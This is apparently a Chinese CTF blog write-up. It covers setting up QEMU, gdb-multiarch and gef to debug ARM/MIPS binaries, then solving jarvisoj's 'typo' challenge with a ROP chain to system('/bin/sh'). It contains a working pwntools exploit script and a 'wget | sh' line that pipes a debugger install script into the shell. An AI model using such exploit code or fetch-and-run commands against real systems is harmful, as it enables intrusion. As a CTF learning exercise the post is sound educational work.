arm pwn

之前好久就收藏了m4x师傅的如何 pwn 掉一个 arm 的binary文章,拖到现在才来复现,记录一些遇到的问题

环境配置

  • 先安装一个deepin的虚拟机,不会安装的可以自行百度,这里我安装的是15.6 64位

预备环境安装

1
2
3
4
#安装 git,gdb 和 gdb-multiarch,同时安装 binfmt 用来识别文件类型
sudo apt-get update
sudo apt-get install git gdb gdb-multiarch
sudo apt-get install "binfmt*"
  • 这里我会报错

报错

1
2
3
4
5
#去网上查了一下,只需要重新安装libc-dev即可
sudo apt-get install libc-dev
#然后再重新安装
sudo apt-get install git gdb gdb-multiarch
sudo apt-get install "binfmt*"
  • 然后由于我习惯用gef,所以这里就不装pwndbg了,直接装gef

    1
    2
    3
    4
    5
    6
    # via the install script
    $ wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh

    # manually
    $ wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py
    $ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
  • 安装pip,pwntools,qemu

1
2
3
4
5
6
7
8
9
wget https://bootstrap.pypa.io/get-pip.py
sudo python get-pip.py
pip -V  #查看pip版本

sudo apt-get install python-dev
sudo pip install pwntools

#通过 qemu 模拟 arm/mips 环境,进而进行调试
sudo apt-get install qemu-user

安装共享库

  • 我们已经可以运行静态链接的 arm/mips binary

  • 但还不能运行动态链接的 binary

  • 这就需要我们安装对应架构的共享库,可以通过如下命令搜索:
1
apt-cache search "libc6" | grep ARCH

  • 然后我们只需安装类似 libc6-ARCH-cross 形式的即可,这里我们选择安装libc6-mipsel-cross,安装其他的试了几个不行

    1
    sudo apt-get install libc6-mipsel-cross
  • 当我们运行动态链接的 bianry 需要用对应的 qemu 同时指定共享库路径

  • 1
    2
    #使用 -L 指定共享库
    qemu-mipsel -L /usr/mipsel-linux-gnu/ ./add

调试

  • 先可以使用 qemu 的 -g 指定端口

    1
    qemu-mipsel -g 1234 -L /usr/mipsel-linux-gnu/ ./add
  • 使用gdb-multiarch进行调试,先指定架构,然后使用remote功能

    1
    2
    3
    gdb-multiarch ./add -q
    set architecture mips (一般可以省略 自动识别)
    target remote localhost:1234

CTF解题(这里以jarvisoj的typo为例子)

  • arm的题由于堆管理器不是glibc,所以大多数情况都会是栈的题

  • 可以猜测存在栈溢出,并且程序是静态编译的,还去了符号表,这就给我们ida分析函数造成了很大的困难,但我们可以用rizzo来尝试恢复一部分符号表,我们先像上面一样下载一份arm的libc,然后把它拷贝出来

1
2
3
apt-cache search "libc6" | grep arm
sudo apt-get install libc6-armel-cross
cp /usr/arm-linux-gnueabi/lib/libc.so.6 arm_libc.so.6

安装使用rizzo (去网上找rizzo.py脚本 copy rizzo.py into your IDA plugins directory)

  • 这时候就是常规rop了,先找偏移,然后找gadget,最后写脚本

找偏移

  • 这里我们利用gef的pattern函数来找

  • 找到偏移为112

找控制r0,pc寄存器的gadget

  • 可以发现第一个gadget就符合我们的需求

写exp

  • payload为 padding + gadget + ‘/bin/sh’ + junk + system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import sys
context.binary = "./typo"
binary = './typo'

if sys.argv[1] == "r":
p = remote("127.0.0.1", 1234)
elif sys.argv[1] == "l":
p = process(["qemu-arm", "-L", "/usr/mipsel-linux-gnu/", binary])
else:
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi/", binary])

elf = ELF("./typo")
libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
context.log_level = "debug"

#pop {r0, r4, pc}
gadget = 0x00020904
binsh_addr = 0x0006c384
system_addr = 0x000110B4

payload = 'a'*112 + p32(gadget) + p32(binsh_addr) + p32(0xdeadbeef) + p32(system_addr)
p.sendlineafter('quit\n','\n')
p.sendline(payload)


p.interactive()

更多细节的地方可以去看m4x师傅的博客

参考文章:

  1. https://www.cnblogs.com/technologylife/p/5870576.html
  2. https://blog.csdn.net/weixin_38705903/article/details/81947717